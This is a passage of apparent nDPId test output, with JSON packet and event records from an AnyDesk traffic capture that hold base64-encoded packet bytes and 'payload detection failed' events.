Zv5lQ++Pdng8tspRIUib+yLWa1rkYPJmLVwH2Az6MDFazh0PaMdRNJ+4mh6z\/sOeSS1NkTs7WWIB2ZsIKlsqHEghIUC2KxEj179FSryLzWxMJfPz3Xp8zDhsJa5pXAHW+5B7C0C6gVG6c7XW9Pr5pmuo5zHsNQK4UsQIyGMPHRj9JvXhXe\/g\/r9xqFa4cdnNsn7oEwdl0OON32BflJ2rjhF8XUQrijS5YGfnoZb2Vmo1usQakhY1Yh2bBPHjpUOXQJwKm22IgaMSEEwO2T7BwidIabDpp6zOwYrsN9BKC5lHNHbmBpYEIGhZ+EhNAAe0Xv8iDm07YBVtFgWgRQLUvdZuaaPg\/4dWYwJ6T8NxSLY8NkJhk77c3lZQkuatUKsy5DXxRPIXSL6Mz+dY\/lic8i2Ue\/Wwk6deQHIZsXrxUnMz1\/6FNqaRPK1cr862WuseE0MXGqsEk2uCY4dVkesau1Yq4OT+3weYRsUHsVCh5++EEFOh0o45JXjJ3WystvEnmmO7NdIHuI4\/VBG2J7jFfh++0JW0voZqlxnnO5vweQ5rmaW6p5I267N2SPnW0HpVUXBbwewbJIiLHbQGZsymL1a0Z26nkHqCWE3oWXl3Q663CSUgXfXncTVch1rKoFD6jqYKTfEGxgOFPZfg6gfYuzo4BWv2hzx7FUG3s9k2eMQAFgAjy9cLCAlnSG43JKzuQXPDKhrYDzsyFeMreg7CNbX0XBYZWsIWRMeZfiYzbigFu0ZzQUScw4npxVmwcy+qf3nnRjgYmm70JVSgK4dq9uCa7X8jTHBBctR8\/7J0rkC4yXBLuGL37Gq1XJ1yIIr7Bn0HU0YBJ09yj4eHBbdwImwpS+\/qhk0f0t\/rUJVoHzTd3N4BCCvtqiAvxCpeXlMnLgJeK\/sKyn2YMttNag9etuW7HN7IQUXpl1fYpHclmQJP54TI9EhId6ecQf9JFtzHheivEJPy\/EgDZXda\/pxdHfY9QwaBg\/O7QrqNU4rN\/5b95a53TPjYp\/PnPC5m3TTJwXs3qq4lU5jMhpDgkIjQx35i9mHHp30BcGnU9\/4L\/ZXOaZ+dsK6krHHU\/1ThLck5JkwsH0oE8sQmvuhkctpmnWHA2re06j8Kcd8rxFKj5XyWg\/l8BjcITuyEj5ljUL7tJcoeBQMVjqgWloRWgwooL2udHU9q6cmVnjh6gvGyfh2ayzAqEGqYB6dpcOaPaDeFadKo8zCUak6ABCUvz5sPgHntpjzd8njV1LGuzA35ZeTYkkAlq6r5jstc3f4Y+QOx+N6Tk8gmYe0pjYrhWw+KY1RzUA2guIodi89p\/MEVNnyqLZsBI6Y7zfk0RKn5NxMjWQc8bq0kojtodzmFphHy3fEPrKLUlXla7M3VbsRLmYENrMY271q7rNFeGGSl4w6ZomYTeyn7zHBxjKRcMJi3DVgQ+GyTDNaRXm4iJaQR6QBO5RLXB7jVs0c6pJfvSxSCrN7QeMb4tCKcc7010f7xTy5UygHje9RWSE3Ydj6kXu6VYwgB9h0mF3u7Pxd5l\/IJT1uDVl3WLOga+rcnltOok5byjzYNNuJo7WhR28zh9hKY9HyCdP5F1gHgQ3FsdS0ay0tQlXc99UvPh4uzsS13IJIS15D3I5XDfErG8xHoA0+IF3ISNudOXeWprR3XjV4DXz4mizgseZ+Pd8qHCE2CiZf6\/SQkEuH1V4JCnleBDjsNjyekXsVOr3VaroyxAJyY+hMGNZc8LIwJpWmkFi3YAZuRgQFjFxIPm23l4YOVnHYQmH5xOYVDLcuuJvbQtDUr+A2hKODt6ZcKFflh5gFjW18uUvQDtfHyY0T+7HLtczmo9ec4CS84KRN0nZpy7EhjzTVeZngr7NyyQGnUNlPDg74XdNiyAD3uVppQ79u2508k3PXwXl0N2RyorHPMtv03NSWKsws2x+LKFQMh0qT0J3XR5ldCKpYcJzbo6obl+TsVOTFRqHJPk41SAN+20B5l1dJNAoCHpHKWl5qpnJfn0NMkezKER3Q259tZSSpusVcF3KDzLrDH5gYy6Yo4CtFG9CuwRg0v58cfzmpGzk0GdGYn5CKjBKXl4hJYQd5U6p2kMwKs+CGwgW5sqTv42SEFjb8AYSyhrGvoDqKu5Z0n1AkAQ57KfwDHld03uu4QW9HjspRDpyHJw8vpzmDmWAP5FCmuGSgqVunliHlT7KbDn\/2WAxPb1ZeBduf07ebkPmJzVWeRQbjma+Y4+5DCF29WZN3lRd8y7r+xP5rD\/6vwSMLyRHXs\/W3eFo7X1NvCNs3KHZ+uuvvhh5lnJoYNy9coYMS3pUW+F2wB\/VLf61IA0L2SfU0vrKJYVZrvnXXcZg\/rycemBtXO1Hg+Idgdfd0nPLzx7Zub50zGcMXsFSw93T9fc9KMJM31U2Kyf57ADNQvR6C+gTcHIvZQwa0GpmnuFW6EN5Wkw8YXIY0GJ3IfcRqLKGl2O8tI0ZtiTkpf8HuaUJUcylK3nw66iUX3PEZGwJ0xMZVJMI8H5L7m\/K1a8iiMiCifac1qG5MsxPiSqDsSBZmEQo3ci\/QFBUXgqZYts74Oa0X1ID1Ivz3lJgdYpr1QXB3cF4G4j\/AsYRHLD2sTC7QUSoADWa\/7s00Oq3MYmfOwKS\/dIFMffwKCH3dpSyCL8a7Fe31YzxcDYXLFLgwhlImmdpWGnWLgQk\/Xcd8LgxBXMkvrrLcMpPsd2\/UCEtQBjUsgJmteL02BEu1Jb7tRdncrZG2IqGemb2aRNVf0OQXqaslWfc1UQb10NaE0qptNrtj8lLEJp61leoBKub3cLJxXl3MpYyTt125uPn9QibTbXAPQvGb2TxwBd9HkvLG1IcX8RIsfXUSrg8P3FjUPKMVUB21o7FUNJemaqgcASzhY4FoEPMlkYzq+bo57+Tny4Bc9B0sWwTIZwpabLXX\/gq7m+P\/h\/yhGDOGemJHj1082rliaqAPHN4ofWwHTBYPCnRbs2Mt8phA4MjEofIpMfY5N58NIvG9GN1XwHep8\/RxC8nQHEdA8C1VQ7uTD6ilYUDhDCgnNJAaK6r\/+C9zo2JOqahzK3om96O6QQkkHOPGmnEK3NO+XO0\/09aBxGj10UyaH8ch6jm\/647Z\/dDI3slN\/qCm\/bY5p+2MqNQawFH9j2ahUkiXuEcqJapLQ0vVlns1HBzPwy8dnV7QvF7ciZ9mIAZIqdNKKw1xwKhuO++kAZ2haVd\/VAr59L1SKhr85OYtkN5+drzz3nJ\/R8U2Q\/OJvsFdjhvuNoIcSA+yGyAcXm8g5hlKpkRj6XKeETiemPAlWaT9aq488zxKHwx1FwjFjGeB2jvspH439v1qPWxbcfaU7+PkvZX5k3LCTf9LhpdLcMyH+wpqlSZk5qpS\/Nx2IlQNYSrd2AOaUMeFBZWcKpT6fiZegX356edbNpkgJIb1N8l0hyXX9coKkVNNNedKCkI7+D8irp8UiWydwCeXZ5s382XFNjl4qzPgIzpYzpFBhjXxXIQvP6HjRBn95uLdnZlXdmyAv19mrrr1Se27lQ7p9W6m\/\/lPwqLqYXR\/esVq+CE8FTKpw8Gm3ZtGQdzEqBx6hdRyf7Ovd+h\/WdXJg4+IXQPxTSz1z7q4dXir5LDz5mR6dv67o\/hjCurb0e037NBxUsIvMrXc691yE4CPC3lvzl9N2A3y6QJKMQXf1S2WqMFEI2rM2evGdZ8uLEWOxB6tva0WlYQEY5yY2ksBXVEo7s5XtXb23APIHeaW4rMdrw2VFSCndB11pEzoSx\/n0lw4\/Ug4tvmv4Iqtt9VxWig0ghWDHmPSziOdfNyZPTj5Z3hN+FmqqjXWemL5bTKEU3gB3\/6g3g6QqdU5wHDUlFzN1dlKJf3H96nkyOo4trgQnWDP\/M975Cj5eo3sQ\/0r2FeNJfz5RoLGiJyd+hV83fWXTtolOnrED0NlT5rNw0fbl9+mRYHrdu3oBUlNVGiF7TKfVgrJ5N1qjV97e+pVUh8RpT9AaJG+IvOsTD1P3bclK0gxkSPqLkuvSm3RlJnufPFqVzlmCNcjNuFQsw1YePmw4xI+nGExhjjfu953mFvXV5bPL1BBQyaoJE05O1g3c\/\/w=="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":122,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":4155} +05984{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":125,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977602,"pkt_ts_usec":730986,"pkt_caplen":4189,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":4189,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAdqtAAIAGAADAqAG7wKgBstOUG56PGcb2WcP+aVAYA\/6ExAAAFwMDECJZ4hNO+msUuZVXu5xjg+teqe+YF5BOOlh0o\/usVpzQU7G7ypUwGnpn4Fr8dOHgr3IBiI11rHnkvuSO1U7ThOHGkXA\/ARCC8ieX6fnalCc7Ky3bz7GQsm4zVyYfAI64+D22pJYogJyO6hILz9xOtjnl7OlYTGHaYmHD7Y4PUvaoTJ54FPZab7UoYQX7GY1Bqx2sG2Qs8cM4blJyYKL2IIfosZIyAZ2\/vo+XosSekfjjJ+He2Fx\/OKO6WZ\/ijlCIrtt0T0qxyP3F55a5W1V\/bUh1uwoLtlFcQ3p6EJ6EPFKEc1ItpS0YNSfYvGPFm9XphkOwGtFUPjB5hULRpZf7TMpqX2KznhdK7bC7fCzD50qXwSJ2IuE17ZzQYUa3TYIbdz1nhbNqVJdDlDXLis+JZFfGUb3guIEKqz0gp8bbq+AqRZDDCmGZpHgvybxOkYLFkOWjZWmrcUgMrmNLx5uUyHm22tUfO1MvuMJWlWn11MP0HeHjmJiAwg0DEOiIpnIMazDNUR1QIob4cXNKf2OZlj1kJz4Xj8GWyAvt9GXxVHCVVyD5TzPvGgVewKBM+by0wzxid8eJApkxhReQdekYCnjtH0+q+BWfSNcQkwn2LMSrtubTv+JY9EcxiaW4UcBz+XQfWB97KuDhdsvmRC\/RxZU2HpvTC3xCCVDkiujYqagr8bBWZ9ywFHwNi6VPfGMFmA8OIvijYEFk9b44Oz7AOwcZX5lx3r0L3bqgfAqCg0\/WBkboYBQ\/Yid5qjaPm4dtcTwgSus1UfLqOVwE+8oeUzSv6w07CfEnA\/xDw+IDEoPrUVjFFS3HcFm8nuHqDyNaEh0ShCDsa1CXSgh0mYVPmsxjSekbe4t8a0tvQcUya8uynjRQ9oZdYG6FxI6G1CMAstFZMfmWGxN9JEnntafNKzfolRptGC47OSff6O49mN4247Mk9s0XFEn0fG3GbTxwdSYmlGxtEOmHyYp33JrQJCNjDDgbORKTx853GW+zr8WaKZx5ewZecfnuw9tlc63eeYcsM7GqqKxgWMJyIs3kJAWSCeH0cWRVVLh0XQenCPUgguScZDOhnQJ3C76uS+7rLNh2pGECyhq2VDa71KZjJMywySWd\/ioa2d+DJhtRLp8PdR2vgO+AtVNp65JWb1nt1mNy3MnrmyK40sFriuHLleDk8cARQES+0fGr7TVaMieAn3NA3Pck3o240oBEje\/cGZCiN6vvPmvOwzUBOs077EYsYO7S+Mj4YpOeLQ7Fe\/kCQe636\/PQRYoBB6ZJ+jpZJg5Nj0dz7tnhfhM8HnXlelq1Cj5Z4AEVoEOymg3jXfEhEaYbQS2wZPwIq0zfPneVoxgUD4tHZBCsVSNhA\/6LzfkPY1+wLr7SMbvpB5aW9AoEjzlNObirLdufhK0BzsX7VVW93Gs7jna+bXagZLpji799KzWqUxy6YLHSYCK+7ITLtrwZV6B+Yqi782j06plnct0JTVKwIVM1\/vHxfAqhwv\/k7nW31qzsY892h5aQBEkZMm7ajNVLYC+IU8MsfYsSy8zvS+55jCu1lcHZcQhBx0x5u9z2jm6dCmV6Dhe6y9UTRFobguPzKZycqENpP7xxV+vEq37fet6o\/aMMkZKf4p5SpwWtLM9vGYzOcZpqVhuxnp5LeR7hMMcIehrfoOlmQpyKe\/1FObgjIXctoYIPOWZq2Bhs9Yh2ttcAnpNypDM7It9qWVEyn1vo\/ZAaCCJ9fdVh9WS6uElvZVk2s1leWCfrSvVH9otdX03LKgs\/tTs5sLC+X9WlYnF+0AntPHEOhX5gbvSHEvqUcEF7953y1jFdZGJrDjBz9GMfiz2zVkZrw04UWHskIQJWSYDedhqgW5Elprml\/z\/7lhmHM3\/DuMaYF84wF0qYN2p6\/heksWgFeOCxyDx4CRBvvNQ5DALpP3Ge8cRZuy4e2GEWaq1I+HtHjMYkyCA1g9N\/gn1oKZ1zYNYG71lBkmRF0W177g\/JCve48tj+aWq69Hzf3mth\/sIU\/tiCaZC\/jNd0P6L826cYJsO+CbvLbT1phnWbek84TMHuktDngEeIh+DbWPgl38cTd5LLJBGZG29W8TrKw8m+WEjaP8X1JXRtcfotUpYtIP27GqUGOLEdSjmqTKWBuYk1ccXW5tqPCjJ5\/J5ilzi1jDbdF57gZHc2UYVT96aptLEugisNHOHq9FHJA4fpu8qSJxxb7DumdAgsCF5o2BZi2L7RY6hBTXFvEgJYYdyWgKuZf99ycoGW2QZ+bJs+MqNlabeHq7eO6SkdO8tE8TZfIL0wiYgF2gz5tijGL1Hu83Xsa10ZiSDKP8Yn5ukZdaTLtPOpGRbOfQWUXNYfJnmU66U96MHnOKioeQcTs2JgodBXioRe7KEfHKA8fHlIrMP6+SWRLiU8dFpPzr\/DKEjDcfccAcEEafCWfN0uJlXJR\/vO2ibOMiUUWQubb\/nJphsQj5xecWm1H6Zr\/gMtDCMMUnUJ98GfCDCZfGXkBhl1+F6+ddrBOzInJnKyBuNFXhvAeuuumu3uCLLrKX9VQ1vLwuLbXJO5uzDEP3fV8EiKoUSnstawzCfEUPFrThYnUkgQf+b7R+ws37Aqrun7gdCzqDNNUbl2UZa2nws4iMBJwdLL0df\/09ERZY2MLQy9ht5C+bgnOypkGBnyErc5TJidOxsFLQ4+pb5IkpahuXFRRvUJNKhtUjEdCF44G2zqMv2aY+FDTVoX0tEGtytuK6E\/0mC691ynfwtlXBnbkPeWVoIAnPhe6ryRdj\/qvMlHqHkFNp1smcKXiaTcc8w2oq72DeA2kGtvMyT5Y\/l9KsQSEOOYHSinbjdzAsvbx7Xu6lJ4CGoqvdgPvFqwvbY\/j18PlLJhb3oSn4Dd\/l\/k8bfGNh2Uq2VB7b4oQ8P5W+OEh7RyrX0J2injVYyWYwV5TB+WSvg48WOMG8iZEcPqQAnNHtwsBqbA2fQ3NZhBgBT\/Dgz8vlQePFIyS9PycAantoatoBpSPn4dO0LK5lAHFxtamelfd6pi8rvT6vMPsLyC73W3HRU0Hadp3ye247aXwJuPoJHURCMu00mE25e8m2AaKsBMAaRpLz5kUs8luXVAlt1m7tWYv++Y\/hA+uBFJAc+ZAAD2xQNUFc2KGcZEsrcdLJ28ndU5dB8y0\/qqo3cDkAfVtig9MP1AX+MpTLmnUhL0Zz\/6FqqBw0DG9BLj5Zv0P+Qs0MF8sLbqocVgL7H4vp4cd9xwWdaW+npHIykoSi7AV4dec32fWymh0su5iSTxojsg75RMH6LvjRICeKJXVY7kix6roMBXTQn+MkhJpXfkCTkNhRdk2Y6cQo4G\/9\/upIYQGUF3XnKddBcF2dZVdrKfVwyWjiSZdnSe5v2UwGeZUf2Hf9Di2\/VQ\/iLBeHWFvw1a7NvvrGheZur2NiTGBaY6bdG2WLTNcQCvB+0Q\/QvxU+RXzyK6eGKP0H+PM8SZJU3LUjk94neEb8MJIzGqccejQv8I8rSDiJrODNi4RtMSYzXgSIrkZgRsqwPoFpR8aB9ZaEufW5xEFJzAow4wYM4g9bHS\/ky8gn4sahOy2xx8F+66x8V9QB5pkq4Roy5\/aIV4q1dAWV+jrDrhn3hgEPi8Aijtju95pLRosn1eTEQ\/PZvhpErAJhcXaFRyYRuUZ1IF7mQjHb6OB7HjBHgsKE6uGrDISs9hvlC1BXq9H+\/Om+T5xm\/FRMITgy2Xh\/sM\/pnUhkAwcVMfkiiuzNW8nt1xfuyU9uAbxOlWNGYFfHBRq8jkDv22cNFsiwvpm2dAK5zJLfmktlxveVcDSIc7SkiXYT0AtQMdfUm+E1MbDHufM3ZA\/7F6\/BLRs6ct+Wrzxwnte4ZPtGjdC+syhbhm\/96lIuTZcIA8JteugrV64F61G0QJdockf\/xTyMN3sMKKgPiz2hbCKvmb+vvjb8cpmN978Z5McrdFfaf89gbEvBzEAAZleteZe5sSfdQWZnpX8olcFglyLyaB3145YV3GAMQVv2Tklys+B5tPq6tHbwz2zZYWiWnP83zf0J4y7XsTBcRszhlkcMXubetIUmAxg8xUFBdZV3umnPX3vYZXASR9IJE07mKkIT4Djh56Jx+s3AKa5d+h3N20xm3fSNv5oygJXudCuvmriUIQSQHvC4+wOxrDWKWsxVlUX4zlO7ixVjdL8LvW+5JJM4mUmnCIy+SO0KndPjjPGLdMX6bME3cnbukh0CJNvdhLPTi1q\/B\/4VMQA7k4q4VzA4lR8sPFuzEsL1RFIlngbDWEhnHLd\/AZh0xo20eM0hdyuIra7R8rjOl5d27d\/37HkfQE87hJpoaeWNWB4wJPQ7mzSV+2AWYvuV1J9lrRGmi0d8a0Bn2iOb2olNtjZbaSLwKYFhMdUTCIBLorZhugcZuFyjlbYcSgOsoPVZQ\/Fjp7oPl+yPbl2+nIyQSOnjqkQkzuiKdTS0d3b45YRRJ7U8REIcYxk5KBx6pTiOl30TK8GXTwXhFiCaZkBgcQs85m4Yhyc1mCvE3s3\/2k0l2BBSF9kybFsn7jDLhTKz89LNcTKgCAurOndA1fryvGjV\/5tHnEIEX8OmvMpLbmYobQO\/lWOuQGaaqIExonWuy8OA\/4OJgN7YOMum2LC46B7nzs83H1LGlP6+oj5WyNUffyr5fiqLjkLIy9E4xA2LJ9ixgP47mBqdeGzG2YYhS0SFxZm63dtcHUb2SSmXpubSAaAkIDYEqqiuJwGVYY85iK+pe+CsG+pPSPlWp2BgbH\/cjXboCYWJ7+iiCFZ+HAPWD4zZwN2R98cQHhIJEzAcivolg0Ww223Ts0JPtAFxJ\/npGzTzaxPnBwK\/6\/JtIPbvciSAUgjDGX3f8EUoTWBfWKJ0+if1HDoJZZ6L36ZNaNaCFmpYax8ktgMNC1TrJ7tMp5Ic4BNgz1XsAK2KTaCRoMLX\/ww3\/4SBP2xPohB2JDkVGANimZS4xi7cW3ztX2IXtwBZR4cMH08GbZPrrXi1TolICP6rfVyZwvIJ1GQk55Yx0BX\/fi0+Vbjr65VBclpl\/itd1xzXACuzBRAyQBgaEYDnxScS07vO8+RTBjprC89pOkJVTYC0uPT5WaWziIVk7VdY2er3S8MkuiDER8BddftK\/vAxvAgL0hAsl49XSXbmy\/T8cEd6zdyXyfg+qsgXuz\/cbjm\/NyjRANmf27KthWS9gy10U0FTlIC4C3QY0VdrBrrGhVI7TXN+7Y9Q+MQKnLcP\/58ifCcuzzKzViZJn+p1Jlk7ZMnQgdU\/HPG5\/3hErdD00fiMWAZBa48seitzq4EQgwFUymleMR+zpPjglh+EWIa0u7AKTTrxTYCDca2awpNV9kMW4\/O4xqhnpZJWnjJhrdEtzr9+rNBGuWLijJGp7QQwTaP\/eC+VOZC72+aMiTMIoNCoEiU1YTKk\/ojUC5\/93d6d7vrpKqyFulhc0FXrfukEmyjvhn11yUTxtqwZrnflsGYgVBh\/Dvd1yPtypycVLEPntZhNYOQA3Mm+C710o0NxET+pf9wh3I+g=="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":125,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":4155} +05985{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":128,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977602,"pkt_ts_usec":731344,"pkt_caplen":4189,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":4189,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAdq5AAIAGAADAqAG7wKgBstOUG56PGdcdWcP+aVAYA\/6ExAAAFwMDECJZ4hNO+msUuumF88os3t9IbK2IILvT4QXrUFucrdqY637Gy7REImr2IqEnvkhJ42SPWcCR9mxf2zOYq52uS7I2DbhuYtESkQL1EqRppjtc6kZCH8ZUdonB0FdtPP7DA1UujB19o\/n+fGS35r+tbT1yLsjf\/I0RPKbchL5DwZFYR5JQbAY4SlOvvNcSlrNWLGjeHgU42wSXNA2StR1DEXB+sUZVOlyHICIm63QxbyYazO\/lh7wsHQ+imH2E2OyEfZ6Wa+VF6xNWJxAVlm+tzuTxNeyxdppsLOut5tBHx9WbFJuAQ2czM\/WybEr8\/77jqWWJJljCUABRq\/jcKw6vqMdg0xd8hH4Hl0pINSmVoTUqlXsq4Y3PB\/vmVIz\/W5OgnmV0nk6toBUm2bxtByw1rWXip8YmuS\/k4hZ0enEIsAbVu8cQ0T3Oyf6U+KXMZactdWm63Gxgul4LGE\/XVZ8hR3Xt3AMJM7FqVsqjZFq284sLh0YoSQ6YzYSy4hvGud1hVGicQjBuibY07zKX1EpWqZprS1NxJtdJZLMfdLKtE8sCYysG2olXP4BEvrg1B6nMVVwqXSyHOzXBw\/KImSjperrBadX6wZeIUh\/loaYAd7qxePvGz0cXc1lXq0u8\/YcYXKCRUhVnhXMoTGR1C75mBNFRNtOOPKFOFS5t+bfLMpPqRU0nNoJ97uufl89peBH3YYCjIkYjI19+ItDo1lV+KUlFBDZIacHUxgbkA3e+\/ydLpdeUkG\/lENaEcmhrh1+72Y45RPYUa5G9+iIRor0imrwihqQheaKUb6qsrQTu\/vY5czLbKjN0Unqqd\/fYxbMwUZw2QxjzaRN7IWzoRqCBUJ1EUNNld6aQR5Xxa7UqZ\/9aoipAVOVcVW0UvIkaajCe6hN7QqIwglA1mwo38ELrCmga+eK2BAm\/cgGEK06oSfvw1d7x7asC0U\/5QQTR+K1JiaM1zodYBOo4HKzJUn4mOX5vk1C8DAzMXJwCS0IUPHCkhzzkl6hHycb\/mr3hXEhjWmkcxBbGoMpm\/PORiEuMb+RMyXE62Jjd3ZqM3QAIGwxu6crEZBqJkIPU8s2uCMNwx6AseBnQZhDH2lZ6+GDaXI+RxKcgTtmwc29L7LWK0PP2c41iNmkPuiA\/Pz4WFLbJO+xrBN\/S8d0x\/kf5ztXKUAhCOrVtDu2e6LEYGL0r\/6CCWBxP\/HdSrJ3Tk1pbT+wc9x92q3UGTtLubWgD0RJ7nZkcmyXafGjcd9c4MtOyqdxExnMil5TszKhBUhcm2IWLYHreITE4AX\/ZFlgszzoSPi1kqi1FT0wI+ipv6kA0pu5hgmVHWhZ9Cmcvb0XhVC0IM9\/xMQMDajsdrtYKbqEhi6LgXMYknWNr56uFm4lO9o9wrrbS5ZpwT7v0oXl3BqppDHf60zPgR+M1eP+Jd42w8YrR9yps24gXJhTv6J\/L2T5pUig9lM5r1QC7vG2YgALcuLqykbGt5ZLU7bE6eo5OWik21mwh8kRzjp6h4qCXjUdHFVvUOHfyUobAMwUtFiCgrIuo6qOv9cijNjkXsIZHZGuCFfpo3jY98ombo2izObUT6fSkJoxZJnlV1IxyCoZOCtI0VVXPm973LHfiPbUgmWmRTTDVlwlaFvSgngs1vm\/oIaBITj0i9gG8Be8j1BNrhbzD8DOgfbJDtmtytcOsjOb5KLfpeoYDqulidWTb279dokLD11PpAKEPcQ0yn3QF1Vj8\/ggwcEP3vUYTMcbYDQjK19uRKmLjetrIklJTrr77gRYrs150A72gBOdglc3AhMFQueW2JV\/p5QiOLnCsMUAEwwgE+hIBOyEh70XbzzadOV4TNcEgE5O+0DPfhcNGm1P4ro5yf5eJOwbFQ6p29ViJSbfxkqsmXQkE5n2BKDRB4vIII3Pnw1S6GU0mn\/rPq3iroyjnL4UInd4sGw+DKuHbE\/nBpXyaRgLtC0gBilOzaBDPTAnAi0gBGuYLpLYPaztwVuTSnewnam6Eu0UZex2E+DC4NOQ2hnz+tlcLhWuHY5edGoBcjz7TXp\/lERadNMAkC3XU307eYoE8caAOa2luSGTcq18kCBkCCxnNvZUHvT9qGEKfMP5Ne46RhCclfzhSMIQ8j3CgDOadQI1PIljPvxcgyqzK\/G0lL76dsOuzcLZ+hlrepTko1I8qUq8ibGJ56Fb\/qE8D2oy\/yQHPcHMSV94lBPLBa4e0RgFhnOakNBi6T7F9619FRJmIhpF6a+JtkAOUH2K5NAGr6XsVczZjcWbjtV3IjmoZnMJT5K8k+SpD3DNTlLJzI072KDA7W7ALxYuHGhaofqOEBk97A9WHGBFa+2EGc\/3G56xUdT19sYz3jkaZo4s\/a6nkXEd91ET3lEH7JaMRu9cNXnquzhGK+ui+xEYvCTX9crgbJn4t\/6AlxiJXjL4ZyCV+CxegWD7uZZvjQbummA5hpDBtHC\/gPbfxD1buSh+zzu67T8clA1fKj2X10BeX1VMS+eFUuA6h0cmAzfjEMTjVpew13SpHwAz6E4dgEvmQ6JWaFgyxUFp\/Z+Y8UBYWb+YDrKvb1dyegSy2Orrl5MjwPAC3z2bjIUYtfUMabeQWSN27xNQSi9y2FP\/10QKvzE6Vwi\/urGGKbHB6J7Sr6VDJ3kcpZ+NosgUzQB+dLCNkCCMOmLJFMjsYlPSHJV2NKdntIOeEW0f35R33\/o7n1++30BElDLGf74P93m7BfQm\/\/acwTE20l0uGFIxeq9hl3U+tLEEpeNA9YbBltDcfnRUlDhPkhQDnOWQwxnthljxio+t3lAycplntLRTPf\/qAAnB0dYUfTuWfCXWDnOkfThrg958Xl+ImiOU1mzNmNypAnaoZKp4jYPgTHf6mRe8EJUMxy8dqorzBkfs232VkVOU4LzBSdIpgu\/SFjTK1S3I2ZaisiQPcTR9XmSaiC+Ckw4CqqUQDmvAQN\/D89wEUtTKBciH49wB49yY1pLmKq+UuXeRIJLDW6a9inOx4QMrtD2wAhfMnmNvEUzFqzTa+c9OEx67PWzc\/JM1bSeYtLi533KhuwZvvOjH+R2SqYnlnLG+nO1UexbRB8hXuYKoE41p9WIFDBgVd+yh5jEKPjYtpnPpC2Vsw43ycJx27tu+0hEp3Cdtvmc2+O3ylyQD5zkAjuF+AUq0QzaWhqa063P389Exh\/u8xfo7Bv0y\/edWXZEWAC6aAZdEVh+5kheopp7dEWBBhBtkqN+vU4ifhJDIiP9cEyi1Tj0T3RfftgvJrhCPURFEDjKJ8+PmYY8GP7fO3FcbCLGQGs4vUkH2PhRWKLR\/onqCuLXh4E8m\/5FmbYNWBYWpKWBZAtv54sAIbo8ZFtKY\/QisyE6MkcGp3h\/DZwDpNs4Q9zktzcYbuwujOeZPY7xco5CaDAaTcMn3IZFEJEdbOFrR3GZUnTRNzTsZTvi5X0DVuoOt5A49Kcf+5B0wQPvEdfhNhPAUC5AkIL9HEzVtuBiYFowsCk746wjpIrfgBokrahYHe76jbowegskND6eAdqZE0QO7s3BAvH\/rJlWoMhMJRDmgqwg\/XL\/IqiiDrskK+v0duOWO+hRK4jQ9DUiEkJ82LYF9868X9DC50rqa3nmf0KLd2ndl0LzG7+9lR04Qp0XvxIOiiHF3Spa56lhT8Q5mIC1RFCIS6wwBdUG\/IWFjNVHZAGzKyoyS1lmBCVbva2rC\/RFCX+sV7b5rVcG9vH3Uj7\/EWTPYOqGM1FJe+NAP4TTtj8ImdXOCoySsfjznd4c9ykPNs8esr90qukIWUaiCG65t0sNj0jdF8lbXnoJHsAlc0R2a+usw1PZf2xL7xUPYifbQXXBeVKi0kvm3fnxetgnvDGRqF0foWn\/ICShkxFZ9BudMo2iOrQcA+0qtrdV8WboPMRdWZh38p1fToLvzzXY9DlSrHnxc3fC3vcaRHGd7Ny\/K6AZJv\/PZBsbwgdH+E9W8gVB0udqMiYhx0pda5G2eBnxo14D2cEWzsYzxDXUyMwfIzWx9dwbwhOiHIq32nWa\/05\/9r9rAUdKt9bCWg8hEbTmLAwYqaFpG2BVtG8ADDU09Xe4vjAID\/89wexPg14ZdT\/jF+oKM5Z\/0u6GwNVY+gcfsCsnvG49i1vB8+Xn31gj6bB2UTbSxVZHbdp8D+9urKu0FPiZsi5jQgMaNFcc3rSGBPzP4TTDb5bVxzDRhRHmcsrZ4MvEFXc+tRJRivbeaCiJCvAR3kyKuzfBt1Jx4WdQE7m4P3pi5m\/jYuqYFcLOuey1NCLhxU8u04TO4MydgA5MgAZmEryD0gsiBG93nCsRkRJh8QCFmZUwR4Xcosha7NS6QABS9WLMMLD+NI9YIrPfG0IgZxZttNHdD5zf0bgOm5K3GhM8fWpfdSrtabeXVZ9SwNFQ2WNm4j2OFOlYorYxEFcdda4RriUoVoEpQINjmoSOV3bwDWHpSFUwlwwNC\/jY5EKbmVqkyImCCYHo23dh\/Ygyd6KOhQDZUrMYUj2rfWGy4cELoSh4IOUnUBzDIc6wxt17Mjm\/3EP6fhkOlw7gRK\/R8AznZQtWjPWpErVM5Zo4soNqjwPd\/xPJEao1rDsFLL5krPBFGrneyQKOuzSybFdeBTQNEM\/Zeijec9pfEKb9uxv4gYCH2hpp\/Rd6ztDajPMV63evhfQza4mTcB08m0QrSrVviJ4GuskC2u8V2BOzTPvNuq+7QE570tYlpdDtDegAHOtev2EH3dQMkTLxsuQ6KR0DLo1YRDfkX2QVofMB3+iYWhpaOzys1t03LuVEltrN8rcQNQZws22P0dXVJeTPgctfqIokDEElD1OUH9xXAS3cIBTiL\/GnRHtHWhdNnLLxUivXRr\/wyjRGvURtM8PJFNqnIcnVpTeMTxpMS4PR6Lzak3psX+WUMmnBZJeuXhT6ucAlARik8u8DX4niuocPJlu1r1HHkBdAuzaZ4DFWPdfLnEmBp3CePDNEvKzTXCCcA5WUs+K1ElOyJLl0+qlq+0AQGG9WROf5a49mIDZiCiT\/1f248Y8IPxZtpC7tJUA5p6QfMMGErsJZ6P9mwa788zmHgTloUVn7tui9zjw48OtMrxXSA0xuuEYrvcV5TpUlAmciDoLnKUiqZ9U4UlxRgjJUYnxZkT8iQn3tEoNt2a9QeMfLM7lrDoJxXXJGXfLDAgDCpkFco9aunbxgY85NhNeZZ